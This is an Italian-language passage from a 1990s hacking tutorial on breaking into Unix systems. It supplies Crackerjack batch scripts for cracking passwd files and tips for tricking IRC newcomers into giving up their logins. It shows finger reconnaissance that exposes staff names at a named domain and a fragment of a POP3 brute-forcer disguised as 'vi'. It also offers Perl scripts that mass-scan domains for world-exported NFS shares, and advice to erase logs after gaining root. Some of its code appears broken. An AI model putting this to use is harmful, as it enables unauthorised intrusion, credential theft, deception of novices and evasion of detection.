Copyright (C) 1993, The Jackal, Denmark

PWfile(s) : domain.com.passwd

Wordfile  : domain.com.passwd

Come prima cosa lancia il passwd file come wordfile. Questo ti permettera' di 
ottenere tutti gli account di chi usa il proprio nome come password,anche se 
hanno usato altre info come il nome della loro compagnia verra' 
scoperto subito e non dovrai aspettare la ricerca tramite wordfile.

Se vuoi creare un hash word file per ottenere piu' possibilita',leggi la 
documentazione di crackerjack.

L'hashing permette a crackerjack di cambiare il case del wordfile o anche di 
aggiungere numeri e lettere all'inizio o alla fine dele parole nel wordfile, 
come sandy1 o 1sandy. Scoprirai che molti utenti fanno questo e credono di 
essere piu' al sicuro.

Puoi trovare qui dei file di hashing sia per i wordfile che per le passwd. Dopo 
averli analizzati vedrai come poterli modificare o crearne di nuovi a seconda 
della situazione.

------------ Inizio di discthash.bat
------------ start of dicthash.bat
@echo off
cls
echo - THIS FILE FOR DOS MACHINES
echo ----------------------------------------------------------------------
echo - To work this batch file have all of the crackerjack files in the
echo - current directory with this batch file, along with your dict and
echo - password file.  Then use this batch file using the following format:
echo -
echo - dicthash.bat dictfilename.ext passwordfilename.ext
echo -
echo - Make sure to have the jpp.exe and jsort.exe files in your dir as well.
echo -
echo - dicthash will first load jack running the dict file against your
echo - password file in both cases, then it will add numbers 0-9 both to
echo - the begining and end of every dict word.  This will take a while,
echo - so go out for that week vacation!
echo -
echo - If you get tired you can 'ctrl c' to the next option or number.
echo -
echo - ii@dormroom.pyro.net
echo -
echo - Mail me some of your hits, let me know how this works for you ;)

jpp -lower %1 | jack -stdin %2
jpp %1 | jack -stdin %2
jpp -dot:0 %1 | jpp -translate:.1 | jack -stdin %2
jpp -dot:7 %1 | jpp -translate:.1 | jack -stdin %2
jpp -lower -dot:0 %1 | jpp -translate:.1 | jack -stdin %2
jpp -lower -dot:7 %1 | jpp -translate:.1 | jack -stdin %2
jpp  -dot:0 %1 | jpp -translate:.2 | jack -stdin %2
jpp  -dot:7 %1 | jpp -translate:.2 | jack -stdin %2
jpp  -lower -dot:0 %1 | jpp -translate:.2 | jack -stdin %2
jpp  -lower -dot:7 %1 | jpp -translate:.2 | jack -stdin %2
jpp  -dot:0 %1 | jpp -translate:.3 | jack -stdin %2
jpp  -dot:7 %1 | jpp -translate:.3 | jack -stdin %2
jpp  -lower -dot:0 %1 | jpp -translate:.3 | jack -stdin %2
jpp  -lower -dot:7 %1 | jpp -translate:.3 | jack -stdin %2
jpp  -dot:0 %1 | jpp -translate:.4 | jack -stdin %2
jpp  -dot:7 %1 | jpp -translate:.4 | jack -stdin %2
jpp  -lower -dot:0 %1 | jpp -translate:.4 | jack -stdin %2
jpp  -lower -dot:7 %1 | jpp -translate:.4 | jack -stdin %2
jpp  -dot:0 %1 | jpp -translate:.5 | jack -stdin %2
jpp  -dot:7 %1 | jpp -translate:.5 | jack -stdin %2
jpp  -lower -dot:0 %1 | jpp -translate:.5 | jack -stdin %2
jpp  -lower -dot:7 %1 | jpp -translate:.5 | jack -stdin %2
jpp  -dot:0 %1 | jpp -translate:.6 | jack -stdin %2
jpp  -dot:7 %1 | jpp -translate:.6 | jack -stdin %2
jpp  -lower -dot:0 %1 | jpp -translate:.6 | jack -stdin %2
jpp  -lower -dot:7 %1 | jpp -translate:.6 | jack -stdin %2
jpp  -dot:0 %1 | jpp -translate:.7 | jack -stdin %2
jpp  -dot:7 %1 | jpp -translate:.7 | jack -stdin %2
jpp  -lower -dot:0 %1 | jpp -translate:.7 | jack -stdin %2
jpp  -lower -dot:7 %1 | jpp -translate:.7 | jack -stdin %2
jpp  -dot:0 %1 | jpp -translate:.8 | jack -stdin %2
jpp  -dot:7 %1 | jpp -translate:.8 | jack -stdin %2
jpp  -lower -dot:0 %1 | jpp -translate:.8 | jack -stdin %2
jpp  -lower -dot:7 %1 | jpp -translate:.8 | jack -stdin %2
jpp  -dot:0 %1 | jpp -translate:.9 | jack -stdin %2
jpp  -dot:7 %1 | jpp -translate:.9 | jack -stdin %2
jpp  -lower -dot:0 %1 | jpp -translate:.9 | jack -stdin %2
jpp  -lower -dot:7 %1 | jpp -translate:.9 | jack -stdin %2
jpp  -dot:0 %1 | jpp -translate:.0 | jack -stdin %2
jpp  -dot:7 %1 | jpp -translate:.0 | jack -stdin %2
jpp  -lower -dot:0 %1 | jpp -translate:.0 | jack -stdin %2
jpp  -lower -dot:7 %1 | jpp -translate:.0 | jack -stdin %2

---------------- fine di dicthash.bat

---------------- inizio di jackhash.bat
@echo off
cls
echo - THIS FILE FOR DOS
echo ----------------------------------------------------------------------
echo - To work this batch file have all of the crackerjack files in the
echo - current directory with this batch file, along with your password file.
echo - Then use this batch file using the following format:
echo -
echo - jackhash.bat passwordfilename.ext
echo -
echo - Make sure to have the jpp.exe and jsort.exe files in your dir as well.
echo -
echo - jackhash will first load jack running the passwd file against
echo - itself in both upper and lower cases, then it will add numbers 0-9
echo - both to the begining and end of every dict word.  This will take
echo - a while, so go out for that week vacation!
echo -
echo - If you get tired you can 'ctrl c' to the next option or number.
echo -
echo - ii@dormroom.pyro.net
echo -
echo - Mail me some of your hits, let me know how this works for you ;)

jpp -gecos:5 -lower %1 | jack -stdin %1
jpp -gecos:5 %1 | jack -stdin %1
jpp -gecos:1 -dot:0 %1 | jpp -translate:.1 | jack -stdin %1
jpp -gecos:1 -dot:7 %1 | jpp -translate:.1 | jack -stdin %1
jpp -gecos:1 -lower -dot:0 %1 | jpp -translate:.1 | jack -stdin %1
jpp -gecos:1 -lower -dot:7 %1 | jpp -translate:.1 | jack -stdin %1
jpp -gecos:1 -dot:0 %1 | jpp -translate:.2 | jack -stdin %1
jpp -gecos:1 -dot:7 %1 | jpp -translate:.2 | jack -stdin %1
jpp -gecos:1 -lower -dot:0 %1 | jpp -translate:.2 | jack -stdin %1
jpp -gecos:1 -lower -dot:7 %1 | jpp -translate:.2 | jack -stdin %1
jpp -gecos:1 -dot:0 %1 | jpp -translate:.3 | jack -stdin %1
jpp -gecos:1 -dot:7 %1 | jpp -translate:.3 | jack -stdin %1
jpp -gecos:1 -lower -dot:0 %1 | jpp -translate:.3 | jack -stdin %1
jpp -gecos:1 -lower -dot:7 %1 | jpp -translate:.3 | jack -stdin %1
jpp -gecos:1 -dot:0 %1 | jpp -translate:.4 | jack -stdin %1
jpp -gecos:1 -dot:7 %1 | jpp -translate:.4 | jack -stdin %1
jpp -gecos:1 -lower -dot:0 %1 | jpp -translate:.4 | jack -stdin %1
jpp -gecos:1 -lower -dot:7 %1 | jpp -translate:.4 | jack -stdin %1
jpp -gecos:1 -dot:0 %1 | jpp -translate:.5 | jack -stdin %1
jpp -gecos:1 -dot:7 %1 | jpp -translate:.5 | jack -stdin %1
jpp -gecos:1 -lower -dot:0 %1 | jpp -translate:.5 | jack -stdin %1
jpp -gecos:1 -lower -dot:7 %1 | jpp -translate:.5 | jack -stdin %1
jpp -gecos:1 -dot:0 %1 | jpp -translate:.6 | jack -stdin %1
jpp -gecos:1 -dot:7 %1 | jpp -translate:.6 | jack -stdin %1
jpp -gecos:1 -lower -dot:0 %1 | jpp -translate:.6 | jack -stdin %1
jpp -gecos:1 -lower -dot:7 %1 | jpp -translate:.6 | jack -stdin %1
jpp -gecos:1 -dot:0 %1 | jpp -translate:.7 | jack -stdin %1
jpp -gecos:1 -dot:7 %1 | jpp -translate:.7 | jack -stdin %1
jpp -gecos:1 -lower -dot:0 %1 | jpp -translate:.7 | jack -stdin %1
jpp -gecos:1 -lower -dot:7 %1 | jpp -translate:.7 | jack -stdin %1
jpp -gecos:1 -dot:0 %1 | jpp -translate:.8 | jack -stdin %1
jpp -gecos:1 -dot:7 %1 | jpp -translate:.8 | jack -stdin %1
jpp -gecos:1 -lower -dot:0 %1 | jpp -translate:.8 | jack -stdin %1
jpp -gecos:1 -lower -dot:7 %1 | jpp -translate:.8 | jack -stdin %1
jpp -gecos:1 -dot:0 %1 | jpp -translate:.9 | jack -stdin %1
jpp -gecos:1 -dot:7 %1 | jpp -translate:.9 | jack -stdin %1
jpp -gecos:1 -lower -dot:0 %1 | jpp -translate:.9 | jack -stdin %1
jpp -gecos:1 -lower -dot:7 %1 | jpp -translate:.9 | jack -stdin %1
jpp -gecos:1 -dot:0 %1 | jpp -translate:.0 | jack -stdin %1
jpp -gecos:1 -dot:7 %1 | jpp -translate:.0 | jack -stdin %1
jpp -gecos:1 -lower -dot:0 %1 | jpp -translate:.0 | jack -stdin %1
jpp -gecos:1 -lower -dot:7 %1 | jpp -translate:.0 | jack -stdin %1
jpp -gecos:1 -dot:0 %1 | jpp -translate:.` | jack -stdin %1
jpp -gecos:1 -dot:7 %1 | jpp -translate:.` | jack -stdin %1
jpp -gecos:1 -lower -dot:0 %1 | jpp -translate:.` | jack -stdin %1
jpp -gecos:1 -lower -dot:7 %1 | jpp -translate:.` | jack -stdin %1
jpp -gecos:1 -dot:0 %1 | jpp -translate:.~ | jack -stdin %1
jpp -gecos:1 -dot:7 %1 | jpp -translate:.~ | jack -stdin %1
jpp -gecos:1 -lower -dot:0 %1 | jpp -translate:.~ | jack -stdin %1
jpp -gecos:1 -lower -dot:7 %1 | jpp -translate:.~ | jack -stdin %1
jpp -gecos:1 -dot:0 %1 | jpp -translate:.! | jack -stdin %1
jpp -gecos:1 -dot:7 %1 | jpp -translate:.! | jack -stdin %1
jpp -gecos:1 -lower -dot:0 %1 | jpp -translate:.! | jack -stdin %1
jpp -gecos:1 -lower -dot:7 %1 | jpp -translate:.! | jack -stdin %1
jpp -gecos:1 -dot:0 %1 | jpp -translate:.A | jack -stdin %1
jpp -gecos:1 -dot:7 %1 | jpp -translate:.A | jack -stdin %1
jpp -gecos:1 -lower -dot:0 %1 | jpp -translate:.A | jack -stdin %1
jpp -gecos:1 -lower -dot:7 %1 | jpp -translate:.A | jack -stdin %1
jpp -gecos:1 -dot:0 %1 | jpp -translate:.a | jack -stdin %1
jpp -gecos:1 -dot:7 %1 | jpp -translate:.a | jack -stdin %1
jpp -gecos:1 -lower -dot:0 %1 | jpp -translate:.a | jack -stdin %1
jpp -gecos:1 -lower -dot:7 %1 | jpp -translate:.a | jack -stdin %1
jpp -gecos:1 -dot:0 %1 | jpp -translate:.q | jack -stdin %1
jpp -gecos:1 -dot:7 %1 | jpp -translate:.q | jack -stdin %1
jpp -gecos:1 -lower -dot:0 %1 | jpp -translate:.q | jack -stdin %1
jpp -gecos:1 -lower -dot:7 %1 | jpp -translate:.q | jack -stdin %1


jpp -gecos:2 -dot:0 %1 | jpp -translate:.1 | jack -stdin %1
jpp -gecos:2 -dot:7 %1 | jpp -translate:.1 | jack -stdin %1
jpp -gecos:2 -lower -dot:0 %1 | jpp -translate:.1 | jack -stdin %1
jpp -gecos:2 -lower -dot:7 %1 | jpp -translate:.1 | jack -stdin %1
jpp -gecos:2 -dot:0 %1 | jpp -translate:.2 | jack -stdin %1
jpp -gecos:2 -dot:7 %1 | jpp -translate:.2 | jack -stdin %1
jpp -gecos:2 -lower -dot:0 %1 | jpp -translate:.2 | jack -stdin %1
jpp -gecos:2 -lower -dot:7 %1 | jpp -translate:.2 | jack -stdin %1
jpp -gecos:2 -dot:0 %1 | jpp -translate:.3 | jack -stdin %1
jpp -gecos:2 -dot:7 %1 | jpp -translate:.3 | jack -stdin %1
jpp -gecos:2 -lower -dot:0 %1 | jpp -translate:.3 | jack -stdin %1
jpp -gecos:2 -lower -dot:7 %1 | jpp -translate:.3 | jack -stdin %1
jpp -gecos:2 -dot:0 %1 | jpp -translate:.4 | jack -stdin %1
jpp -gecos:2 -dot:7 %1 | jpp -translate:.4 | jack -stdin %1
jpp -gecos:2 -lower -dot:0 %1 | jpp -translate:.4 | jack -stdin %1
jpp -gecos:2 -lower -dot:7 %1 | jpp -translate:.4 | jack -stdin %1
jpp -gecos:2 -dot:0 %1 | jpp -translate:.5 | jack -stdin %1
jpp -gecos:2 -dot:7 %1 | jpp -translate:.5 | jack -stdin %1
jpp -gecos:2 -lower -dot:0 %1 | jpp -translate:.5 | jack -stdin %1
jpp -gecos:2 -lower -dot:7 %1 | jpp -translate:.5 | jack -stdin %1
jpp -gecos:2 -dot:0 %1 | jpp -translate:.6 | jack -stdin %1
jpp -gecos:2 -dot:7 %1 | jpp -translate:.6 | jack -stdin %1
jpp -gecos:2 -lower -dot:0 %1 | jpp -translate:.6 | jack -stdin %1
jpp -gecos:2 -lower -dot:7 %1 | jpp -translate:.6 | jack -stdin %1
jpp -gecos:2 -dot:0 %1 | jpp -translate:.7 | jack -stdin %1
jpp -gecos:2 -dot:7 %1 | jpp -translate:.7 | jack -stdin %1
jpp -gecos:2 -lower -dot:0 %1 | jpp -translate:.7 | jack -stdin %1
jpp -gecos:2 -lower -dot:7 %1 | jpp -translate:.7 | jack -stdin %1
jpp -gecos:2 -dot:0 %1 | jpp -translate:.8 | jack -stdin %1
jpp -gecos:2 -dot:7 %1 | jpp -translate:.8 | jack -stdin %1
jpp -gecos:2 -lower -dot:0 %1 | jpp -translate:.8 | jack -stdin %1
jpp -gecos:2 -lower -dot:7 %1 | jpp -translate:.8 | jack -stdin %1
jpp -gecos:2 -dot:0 %1 | jpp -translate:.9 | jack -stdin %1
jpp -gecos:2 -dot:7 %1 | jpp -translate:.9 | jack -stdin %1
jpp -gecos:2 -lower -dot:0 %1 | jpp -translate:.9 | jack -stdin %1
jpp -gecos:2 -lower -dot:7 %1 | jpp -translate:.9 | jack -stdin %1
jpp -gecos:2 -dot:0 %1 | jpp -translate:.0 | jack -stdin %1
jpp -gecos:2 -dot:7 %1 | jpp -translate:.0 | jack -stdin %1
jpp -gecos:2 -lower -dot:0 %1 | jpp -translate:.0 | jack -stdin %1
jpp -gecos:2 -lower -dot:7 %1 | jpp -translate:.0 | jack -stdin %1


jpp -gecos:4 -dot:0 %1 | jpp -translate:.1 | jack -stdin %1
jpp -gecos:4 -dot:7 %1 | jpp -translate:.1 | jack -stdin %1
jpp -gecos:4 -lower -dot:0 %1 | jpp -translate:.1 | jack -stdin %1
jpp -gecos:4 -lower -dot:7 %1 | jpp -translate:.1 | jack -stdin %1
jpp -gecos:4 -dot:0 %1 | jpp -translate:.2 | jack -stdin %1
jpp -gecos:4 -dot:7 %1 | jpp -translate:.2 | jack -stdin %1
jpp -gecos:4 -lower -dot:0 %1 | jpp -translate:.2 | jack -stdin %1
jpp -gecos:4 -lower -dot:7 %1 | jpp -translate:.2 | jack -stdin %1
jpp -gecos:4 -dot:0 %1 | jpp -translate:.3 | jack -stdin %1
jpp -gecos:4 -dot:7 %1 | jpp -translate:.3 | jack -stdin %1
jpp -gecos:4 -lower -dot:0 %1 | jpp -translate:.3 | jack -stdin %1
jpp -gecos:4 -lower -dot:7 %1 | jpp -translate:.3 | jack -stdin %1
jpp -gecos:4 -dot:0 %1 | jpp -translate:.4 | jack -stdin %1
jpp -gecos:4 -dot:7 %1 | jpp -translate:.4 | jack -stdin %1
jpp -gecos:4 -lower -dot:0 %1 | jpp -translate:.4 | jack -stdin %1
jpp -gecos:4 -lower -dot:7 %1 | jpp -translate:.4 | jack -stdin %1
jpp -gecos:4 -dot:0 %1 | jpp -translate:.5 | jack -stdin %1
jpp -gecos:4 -dot:7 %1 | jpp -translate:.5 | jack -stdin %1
jpp -gecos:4 -lower -dot:0 %1 | jpp -translate:.5 | jack -stdin %1
jpp -gecos:4 -lower -dot:7 %1 | jpp -translate:.5 | jack -stdin %1
jpp -gecos:4 -dot:0 %1 | jpp -translate:.6 | jack -stdin %1
jpp -gecos:4 -dot:7 %1 | jpp -translate:.6 | jack -stdin %1
jpp -gecos:4 -lower -dot:0 %1 | jpp -translate:.6 | jack -stdin %1
jpp -gecos:4 -lower -dot:7 %1 | jpp -translate:.6 | jack -stdin %1
jpp -gecos:4 -dot:0 %1 | jpp -translate:.7 | jack -stdin %1
jpp -gecos:4 -dot:7 %1 | jpp -translate:.7 | jack -stdin %1
jpp -gecos:4 -lower -dot:0 %1 | jpp -translate:.7 | jack -stdin %1
jpp -gecos:4 -lower -dot:7 %1 | jpp -translate:.7 | jack -stdin %1
jpp -gecos:4 -dot:0 %1 | jpp -translate:.8 | jack -stdin %1
jpp -gecos:4 -dot:7 %1 | jpp -translate:.8 | jack -stdin %1
jpp -gecos:4 -lower -dot:0 %1 | jpp -translate:.8 | jack -stdin %1
jpp -gecos:4 -lower -dot:7 %1 | jpp -translate:.8 | jack -stdin %1
jpp -gecos:4 -dot:0 %1 | jpp -translate:.9 | jack -stdin %1
jpp -gecos:4 -dot:7 %1 | jpp -translate:.9 | jack -stdin %1
jpp -gecos:4 -lower -dot:0 %1 | jpp -translate:.9 | jack -stdin %1
jpp -gecos:4 -lower -dot:7 %1 | jpp -translate:.9 | jack -stdin %1
jpp -gecos:4 -dot:0 %1 | jpp -translate:.0 | jack -stdin %1
jpp -gecos:4 -dot:7 %1 | jpp -translate:.0 | jack -stdin %1
jpp -gecos:4 -lower -dot:0 %1 | jpp -translate:.0 | jack -stdin %1
jpp -gecos:4 -lower -dot:7 %1 | jpp -translate:.0 | jack -stdin %1


jpp -gecos:8 -dot:0 %1 | jpp -translate:.1 | jack -stdin %1
jpp -gecos:8 -dot:7 %1 | jpp -translate:.1 | jack -stdin %1
jpp -gecos:8 -lower -dot:0 %1 | jpp -translate:.1 | jack -stdin %1
jpp -gecos:8 -lower -dot:7 %1 | jpp -translate:.1 | jack -stdin %1
jpp -gecos:8 -dot:0 %1 | jpp -translate:.2 | jack -stdin %1
jpp -gecos:8 -dot:7 %1 | jpp -translate:.2 | jack -stdin %1
jpp -gecos:8 -lower -dot:0 %1 | jpp -translate:.2 | jack -stdin %1
jpp -gecos:8 -lower -dot:7 %1 | jpp -translate:.2 | jack -stdin %1
jpp -gecos:8 -dot:0 %1 | jpp -translate:.3 | jack -stdin %1
jpp -gecos:8 -dot:7 %1 | jpp -translate:.3 | jack -stdin %1
jpp -gecos:8 -lower -dot:0 %1 | jpp -translate:.3 | jack -stdin %1
jpp -gecos:8 -lower -dot:7 %1 | jpp -translate:.3 | jack -stdin %1
jpp -gecos:8 -dot:0 %1 | jpp -translate:.4 | jack -stdin %1
jpp -gecos:8 -dot:7 %1 | jpp -translate:.4 | jack -stdin %1
jpp -gecos:8 -lower -dot:0 %1 | jpp -translate:.4 | jack -stdin %1
jpp -gecos:8 -lower -dot:7 %1 | jpp -translate:.4 | jack -stdin %1
jpp -gecos:8 -dot:0 %1 | jpp -translate:.5 | jack -stdin %1
jpp -gecos:8 -dot:7 %1 | jpp -translate:.5 | jack -stdin %1
jpp -gecos:8 -lower -dot:0 %1 | jpp -translate:.5 | jack -stdin %1
jpp -gecos:8 -lower -dot:7 %1 | jpp -translate:.5 | jack -stdin %1
jpp -gecos:8 -dot:0 %1 | jpp -translate:.6 | jack -stdin %1
jpp -gecos:8 -dot:7 %1 | jpp -translate:.6 | jack -stdin %1
jpp -gecos:8 -lower -dot:0 %1 | jpp -translate:.6 | jack -stdin %1
jpp -gecos:8 -lower -dot:7 %1 | jpp -translate:.6 | jack -stdin %1
jpp -gecos:8 -dot:0 %1 | jpp -translate:.7 | jack -stdin %1
jpp -gecos:8 -dot:7 %1 | jpp -translate:.7 | jack -stdin %1
jpp -gecos:8 -lower -dot:0 %1 | jpp -translate:.7 | jack -stdin %1
jpp -gecos:8 -lower -dot:7 %1 | jpp -translate:.7 | jack -stdin %1
jpp -gecos:8 -dot:0 %1 | jpp -translate:.8 | jack -stdin %1
jpp -gecos:8 -dot:7 %1 | jpp -translate:.8 | jack -stdin %1
jpp -gecos:8 -lower -dot:0 %1 | jpp -translate:.8 | jack -stdin %1
jpp -gecos:8 -lower -dot:7 %1 | jpp -translate:.8 | jack -stdin %1
jpp -gecos:8 -dot:0 %1 | jpp -translate:.9 | jack -stdin %1
jpp -gecos:8 -dot:7 %1 | jpp -translate:.9 | jack -stdin %1
jpp -gecos:8 -lower -dot:0 %1 | jpp -translate:.9 | jack -stdin %1
jpp -gecos:8 -lower -dot:7 %1 | jpp -translate:.9 | jack -stdin %1
jpp -gecos:8 -dot:0 %1 | jpp -translate:.0 | jack -stdin %1
jpp -gecos:8 -dot:7 %1 | jpp -translate:.0 | jack -stdin %1
jpp -gecos:8 -lower -dot:0 %1 | jpp -translate:.0 | jack -stdin %1
jpp -gecos:8 -lower -dot:7 %1 | jpp -translate:.0 | jack -stdin %1

--------------- fine di jackhash.bat

Puoi ottenere passwd files senza avere un account, vedi il Capitolo 3

------------------------
Sezione 2B.
Parlare con i novellini
------------------------

Ci sono altri modi per ottenere un account senza lavorare molto. Parcheggiati in 
un canale IRC che hai creato con un titolo riferito all'hacking. Prova anche ad 
inserirti in altri canali su irc come:
#hacking #unix #unixhacking #hack #hackers #hacker #virus #virii
#hackers_hideout ecc.

Ora,cio' che tu cerchi e'un novellino che cerca di imparare o di fare un Exploit 
sulla shell su cui si trova. 
C'e'sempre qualcuno che fa domande da novellino e non riceve risposta o viene 
cacciato via dal canale. Ecco la vostra vittima ;)

/msg alla vittima in modo che gli altri non vedano che stai parlando con lui,e 
inizia a fargli domande,cerca di aiutarlo ,ma non troppo;) Alla fine digli che 
puoi collegarti al suo posto. Questo potrebbe essere per recuperare il file di 
password o chissa' cos'altro. Promettigli il mondo e ottieni la login e la 
password. 
Ora hai un inizio e puoi iniziare a metter mano in modo da imparare.  Se trovi 
l'accesso di root al sistema, non riferirglielo, ma riferiscigli qualche altra 
informazione in modo da tenerlo occupato mentre sniffi altre password nel 
sistema. 

Non crediate che io mi comporti davvero cosi'...

Io tendo ad aiutare chi sta imparando e dico la verita' quando affermo di aver 
trattato onestamente la maggior parte delle persone che ho incontrato.

--------------------
Sezione 2C.
La strada difficile
--------------------

C'e' un altro modo per fare questo. Stai tranquillo che nella maggior parte dei 
sistemi gli utenti non usano password sicure. Da una shell fai questo:

finger @domainname.com Occhio ,usero' un vero domain:

[10:35am][/home/ii]finger @starnet.net
[starnet.net]
Login    Name                 Tty   Idle  Login Time   Office     Office Phone
chris    Chris Myers           p2   4:46  Jan 27 11:19
mike     Mike Suter            p1   4:57  Jan 22 16:14
mike     Mike Suter            p5     3d  Jan 16 15:35
root     System Administrator  p3   4:59  Jan 16 10:17
wendt    Catherine Wendt-Bern  p0      3  Jan 21 14:49
[10:35am][/home/ii]

Potremmo provare ad entrare piu' tardi, prendi nota di queste info:

Login chris Password prova:Chris, chris, myers, Myers, chrismyers, etc...

Questo sembra andar bene, wendt:Catherine:catherine

Ecco un altro comando:

[10:35am][/home/ii]finger -l @starnet.net
[starnet.net]


Login: mike                             Name: Mike Suter
Directory: /usra/staff/mike             Shell: /bin/csh
On since Wed Jan 22 16:14 (CST) on ttyp1, idle 5:26, from mikesbox.starnet.net
On since Thu Jan 16 15:35 (CST) on ttyp5, idle 3 days 22:00, from mikesbox
Last login Sun Jan 26 23:07 (CST) on ttyp2 from hurk
No Plan.

Login: root                             Name: System Administrator
Directory: /root                        Shell: /bin/csh
On since Thu Jan 16 10:17 (CST) on ttyp3, idle 5:28, from mikesbox.starnet.net
Last login Thu Jan 16 18:07 (CST) on ttyp6 from mikesbox.starnet.net
Mail forwarded to:
chris@admin.starnet.net
#chris@admin.starnet.net, mike@admin.starnet.net
No Plan.

Login: wendt                            Name: Catherine Wendt-Bernal
Directory: /usra/staff/wendt            Shell: /bin/csh
On since Tue Jan 21 14:49 (CST) on ttyp0, idle 0:02, from veggedout
No Plan.

Ora hai piu' informazioni su cui lavorare ;)

So che questo puo' stancarti....

Ricorda: questo procedimento fara' il log di tutti i tuoi tentativi,cosi',se 
trovi la root, cancella i log ;)

Questo e'un piccolo file .c che puoi usare per entrare.

pop3hack.c

----- cut here

#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 

/* Primo, definisci la porta per POP-3 - quasi sempre 110 */
#define POP3_PORT               110

/* cosa vogliamo che sembri il nostro programma in modo che l'admin non lo 
killi*/
#define MASKAS                  "vi"

/* ripeti il connect o no - ricorda , i logs prenderanno nota della 
connessione,potresti voler settare questo a 0: in questo modo fara' dell'hack 
fino a che trova 1 user/password poi esce. se settato a 1, si riconnettera'
e cerchera' altre user/passwords (finche'ce ne sono ancora) 
*/
#define RECONNECT       0

----- cut here

Puoi anche scrivere uno script in perl che faccia finger @ da una domain list e 
cataloghi le risposte in un file, poi, una volta fatto, provera' a loggarsi con 
pop3d username-username (o altre info) e mettendo le risposte in un altro file.

Puoi fare ftp a rs.internic.net
Nella directory del dominio troverai:

com.zone.gz
edu.zone.gz
gov.zone.gz
mil.zone.gz
net.zone.gz
org.zone.gz

Scarica questi file e lancia getdomain.pl (lo scipt qui sotto) sui domini che 
vuoi cercare, in questo modo:

"perl getdomain.pl com.zone com >com.all"

Questo raccogliera' tutti i domini .COM e li mettera' tutti in un file chiamato 
comm.all.

La stessa cosa puo' essere fatta per i domini .EDU

perl getdomain.pl edu.zone edu >edu.all

Ecco lo script Perl

getdomain.pl
----cut here
#!/usr/bin/perl

# GetDomain By Nfin8 / Invisible Evil
# Questions /msg i-e  or  /msg i^e
#
# Retrieve command line arguments.
my($inputfile, $domain) = @ARGV;
usage() if (!defined($inputfile) || !defined($domain));

# Open and preprocess the input file.
open(INFILE, "<$inputfile") or die("Cannot open file $inputfile for 
reading!n");
my(@lines) = ;

# Initialize main data structure.
my(%hash) = {};
my($key) = "";

foreach (@lines) {
  $key = (split(/ /))[0];
  chop($key);
  next if ((($key =~ tr/.//) < 1) || 
            (uc($domain) ne uc(((split(/./, $key))[-1]))) || 
            ($key =~ m/root-server/i));
  $hash{$key}++;
}

# Close input file and output data structure to STDOUT.
close(INFILE);

foreach (sort(keys(%hash))) {
  print "$_n";
}

sub usage {
  print("nngetdomain:n");
  print("Usage: getdomain [inputfile] [search]nn");
  print("Where [search] is one of 'com', 'edu', 'gov', 'mil' or 
'net'.nn");
  exit(0);
}
  
0;
  
---- cut here - fine dello script -----

Per usare lo script qui sopra ti basta copiare tra le due linee di delimitazione 
e chiamarlo getdomain.pl, ora copialo dentro a unix os e digita 
chmod +x getdomain.pl
Ora e'pronto per essere lanciato con la linea di comando qui sopra.

------------------------------------------
Sezione 2D.
usare Mount per accedere a un sistema unix
------------------------------------------

Questo non e' difficile e ci sono molti sistemi che sono mountable.
Mount e'un comando unix che permette di fare mount di drive su macchine remote. 
Questo e'fatto in modo da poter fare installazione da altre macchine, o solo per 
condividere drive o directory all'interno la rete. 
Il problema e' che molti admin sono buoni conoscitori di unix. O forse sono solo 
un po' fannulloni e fanno il mount dei drive con accesso globale senza capire 
che chiunque puo' montare i drive e avere accesso in scrittura alle directory 
degli utenti di quel sistema.

Ti serve un hacked account di root per iniziare. Per fare mount di un drive 
remoto e accedervi devi modificare il passwd phile del sistema e usare il 
comando su.

Ok, diciamo che hai accesso di root. Iniziamo!

Puoi vedere se ci sono drive mountable usando il comando showmount.

Dall'account di Root:

$root> showmount -e wwa.com
mount clntudp_create: RPC: Port mapper failure - RPC: Unable to receive

Ok ,no problem, questo domain non funziona, proviamo il prossimo

$root> showmount -e seva.net
Export list for seva.net:
/var/mail                                        pluto.seva.net
/home/user1                                      pluto.seva.net
/usr/local                                       pluto.seva.net,rover.seva.net
/export/X11R6.3                                  rover.seva.net
/export/rover                                    rover.seva.net,pluto.seva.net
/export/ftp/linux-archive/redhat-4.1/i386/RedHat (everyone)

Nota la parola 'chiunque'(everyone), questo andrebbe bene se volessimo 
installare linux da questo sistema, ma noi vogliamo aprire le directory degli 
utenti,cosi' andiamo al prossimo...

$root> showmount -e XXXXX.XXX < questo ha funzionato ... ora trovatelo ;)

Export list for XXXXX.XXX:
/export/home (everyone)

Ora, questo tipo ha montato la sua home directory, gli account degli utenti si 
trovano fuori dalla home ;) e guarda...(everyone) puo' accedervi!!! 

Ok questa sezione serviva a mostrarti come vedere se sono mountable, nella 
prossima vedremo come fare il mount e l'hack. Per ora ecco uno script che fara' 
lo scan di TUTTI I DOMINI su internet cercando quelli montable e li logghera' per te.

Per usarlo usa il 'domain dipper' nella sezione PHF e scarica i file che ti 
servono da rs.internic.net Fai il rip di alcuni domini e chiama il file 
'domains' e avvia lo script. Per farlo funzionare il background, metti 
una & dopo il comando. cosi': 
cmount.pl&

Come funziona:

Quando lanci il file esso andra' nella domain list e lancera' showmount -e su 
ogni dominio, se trova dei driver mountable salvera' le info in un file 
chiamato:
domain.XXX.export. Devi soltanto editare il file e montare i drive!

--------------- Inizio di cmount.pl
#!/usr/bin/perl -w
#
# Check NFS exports of hosts listed in file.
# (Hosts are listed, once per line with no additional whitespaces.)
#
# ii@dormroom.pyro.net - 2/27/97.

# Assign null list to @URLs which will be added to later.
my(@result) = ();
my(@domains) = ();
my($program) = "showmount -e ";

# Pull off filename from commandline. If it isn't defined, then assign default.
my($DomainFilename) = shift;
$DomainFilename = "domains" if !defined($DomainFilename);

# Do checking on input.
die("mountDomains: $DomainFilename is a directory.n") if (-d $DomainFilename);
 
# Open $DomainFilename.
open(DOMAINFILE, $DomainFilename) or 
  die("mountDomains: Cannot open $DomainFilename for input.n");
  
while () {
  chomp($_);
  print "Now checking: $_";

  # Note difference in program output capture from "geturl.pl".  
  open (EXECFILE, "$program $_ |");
  @execResult = ;
  next if (!defined($execResult[0]));
  if ($execResult[0] =~ /^Export/) {
    print " - Export list saved.";
    open (OUTFILE, ">$_.export");
    foreach (@execResult) {
      print OUTFILE;
    }
    close (OUTFILE);
  }
  close(EXECFILE);
  print "n";
}
  
# We are done. Close all files and end the program.
close (DOMAINFILE);

0;
----------------- fine di cmount.pl

Ok,ora si inizia a montare i drive ....

Diciamo che abbiamo fatto showmount -e domain.com  e abbiamo ottenuto:

Export list for domain.com:
/   (everyone)
/p1 (everyone)
/p2 (everyone)
/p3 (everyone)
/p5 (everyone)
/p6 (everyone)
/p7 (everyone)
